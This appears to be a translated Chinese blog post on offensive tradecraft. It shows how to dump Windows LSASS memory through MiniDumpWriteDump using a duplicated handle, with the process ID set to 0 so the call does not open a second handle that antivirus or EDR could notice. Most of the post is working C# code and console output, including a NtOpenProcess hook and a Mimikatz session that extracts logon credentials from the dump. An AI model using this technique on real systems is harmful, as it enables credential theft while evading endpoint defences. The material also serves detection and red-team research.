概述的用例涉及窃取 LSASS 的句柄,因为这可能比直接获取句柄更安全(来自 AV 和 EDR)。这篇文章将演示如何使用这样的句柄通过MiniDumpWriteDump API转储 LSASS 。
本机签名定义如下:
代码语言:javascript复制BOOL MiniDumpWriteDump(
[in] HANDLE hProcess,
[in] DWORD ProcessId,
[in] HANDLE hFile,
[in] MINIDUMP_TYPE DumpType,
[in] PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,
[in] PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
[in] PMINIDUMP_CALLBACK_INFORMATION CallbackParam
);
相关参数是:
- 目标进程的句柄。
- 目标进程的PID。
- 输出文件的句柄。
- 要捕获的信息类型。
其余参数是可选的,可以保留为NULL。
有几种不同的方式可以在 C# 中表示此 API,但我最喜欢的是SharpDump(使用SafeFileHandle)中的一种:
代码语言:javascript复制[DllImport("dbghelp.dll")]
public static extern bool MiniDumpWriteDump(
IntPtr hProcess,
int processId,
SafeFileHandle hFile,
uint dumpType,
IntPtr exceptionParam,
IntPtr userStreamParam,
IntPtr callbackParam);
这是事情再次变得有趣的地方。
有人警告我不要在MiniDumpWriteDump 调用中使用重复的句柄,因为 API 只会打开自己的 LSASS 句柄,而不是使用提供的句柄。这可以解释为什么它需要 PID,但是如果您还必须自己提供句柄,为什么还要麻烦这样做呢……
如果我们按照 MS 文档的规定调用 API,我们可能会执行以下操作:
代码语言:javascript复制using var fs = new FileStream(@"C:Tempdebug.bin", FileMode.Create);
Console.WriteLine("Getting handle... ");
var lsass = Process.GetProcessesByName("lsass")[0];
Console.WriteLine("Calling MiniDumpWriteDump...");
var success = Win32.MiniDumpWriteDump(
lsass.Handle,
lsass.Id,
fs.SafeFileHandle,
2,
IntPtr.Zero,
IntPtr.Zero,
IntPtr.Zero);
Console.WriteLine(success ? "Success" : "Failure");
此外,我使用MinHook.NET拦截所有对 NtOpenProcess 的调用并将它们打印到控制台。
代码语言:javascript复制private static uint NtOpenProcessDetour(ref IntPtr processHandle, Data.PROCESS_ACCESS desiredAccess, ref DInvoke.Data.Native.OBJECT_ATTRIBUTES objectAttributes, ref Data.CLIENT_ID clientId)
{
var targetPid = (int)clientId.UniqueProcess;
Console.WriteLine("NtOpenProcess called. Target PID: {0}. Access: {1}", targetPid, desiredAccess);
return _ntOpenProcessOrig(ref processHandle, desiredAccess, ref objectAttributes, ref clientId);
}
运行此程序时,我得到以下输出:
代码语言:javascript复制Getting handle...
Calling MiniDumpWriteDump...
NtOpenProcess called. Target PID: 1056. Access: PROCESS_ALL_ACCESS
NtOpenProcess called. Target PID: 1056. Access: 2097151
Success
第一个 NtOpenProcess 调用是我们。.NET Process 类中的底层互操作总是使用 1F0FFF 调用 Open Process。第二个调用是 MiniDumpWriteDump 发出的调用。2097151 是十六进制的 1FFFFF,我猜这只是 PROCESS_ALL_ACCESS 的另一种变体。您可以查看 Microsoft 的进程安全和访问权限页面以获取有关可能值的更多信息。
一个好奇是为什么这两个调用都出现在 Console.WriteLine 下方,用于“ Calling MiniDumpWriteDump... ”?为什么我们的调用没有直接出现在“ Getting handle... ”下面?答案是 Process 类在调用 Handle getter 属性之前不会调用 OpenProcess。
我们可以通过重构为:
代码语言:javascript复制using var fs = new FileStream(@"C:Tempdebug.bin", FileMode.Create);
Console.WriteLine("Getting handle... ");
var lsass = Process.GetProcessesByName("lsass")[0];
Console.WriteLine("Handle: 0x{0:X}n", lsass.Handle.ToInt64());
Console.WriteLine("Calling MiniDumpWriteDump...");
var success = Win32.MiniDumpWriteDump(
lsass.Handle,
lsass.Id,
fs.SafeFileHandle,
2,
IntPtr.Zero,
IntPtr.Zero,
IntPtr.Zero);
Console.WriteLine(success ? "Success" : "Failure");
代码语言:javascript复制Getting handle...
NtOpenProcess called. Target PID: 1056. Access: PROCESS_ALL_ACCESS
Handle: 0x310
Calling MiniDumpWriteDump...
NtOpenProcess called. Target PID: 1056. Access: 2097151
Success
这不会改变结果,它只是用于区分两个调用。
那么这对于 handle dup 技巧意味着什么呢?如果 MiniDumpWriteDump 只是要把我们扔到总线下,那么避免直接调用 NtOpenProcess 的努力是没有意义的。
事实证明,一个简单的答案是实际上不通过 LSASS 的 PID。而不是 lsass.Id,使用我们自己的 PID 甚至 0。
代码语言:javascript复制var success = Win32.MiniDumpWriteDump(
lsass.Handle,
0,
fs.SafeFileHandle,
2,
IntPtr.Zero,
IntPtr.Zero,
IntPtr.Zero);
这一次,我得到了以下输出:
代码语言:javascript复制Getting handle...
NtOpenProcess called. Target PID: 1056. Access: PROCESS_ALL_ACCESS
Handle: 0x314
Calling MiniDumpWriteDump...
Success
输出文件仍然被写入,我用 Mimikatz 验证它可以提取凭据。
代码语言:javascript复制PS C:> C:Toolsmimikatzx64mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Mar 3 2021 14:57:23
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # sekurlsa::minidump C:Tempdebug.bin
Switch to MINIDUMP : 'C:Tempdebug.bin'
mimikatz # sekurlsa::logonpasswords
Opening : 'C:Tempdebug.bin' file for minidump...
Authentication Id : 0 ; 374121 (00000000:0005b569)
Session : Interactive from 1
User Name : Daniel
Domain : GHOST-CANYON
Logon Server : GHOST-CANYON
Logon Time : 22/12/2021 10:29:53
blah blah...
我们通过确认重复的句柄确实对 LSASS 开放来结束上一篇文章。
代码语言:javascript复制var exeName = QueryFullProcessImageName(hDuplicate);
if (!exeName.EndsWith("lsass.exe")) continue;
这只是让我们用我们上面学到的东西调用 MiniDumpWriteDump。
代码语言:javascript复制Console.WriteLine("Found open handle to LSASS. PID: {0}, Handle: 0x{1:X}", pid, handle.HandleValue);
// dump
using var fs = new FileStream(@"C:Tempdebug.bin", FileMode.Create);
if (!Win32.MiniDumpWriteDump(_hDuplicate, 0, fs.SafeFileHandle, 2,
IntPtr.Zero, IntPtr.Zero, IntPtr.Zero))
{
var error = new Win32Exception(Marshal.GetLastWin32Error());
Console.WriteLine("MiniDumpWriteDump failed. {0}", error.Message);
}
else
{
Console.WriteLine("MiniDumpWriteDump successful.");
DInvoke.DynamicInvoke.Win32.CloseHandle(hProcess);
return;
}
在运行整个程序之前,将 NtOpenProcess 绕道更改为仅打印属于 LSASS 的 PID。因为 1) 否则控制台会被淹没;2)无论如何,我们只真正关心对 LSASS 的调用。
代码语言:javascript复制var targetPid = (int)clientId.UniqueProcess;
if (targetPid == _lsassPid)
Console.WriteLine("NtOpenProcess called. Target PID: {0}. Access: {1}", targetPid, desiredAccess);
代码语言:javascript复制Our PID: 9168
LSASS PID: 1056
Found open handle to LSASS. PID: 21068, Handle: 0x6B4
MiniDumpWriteDump successful.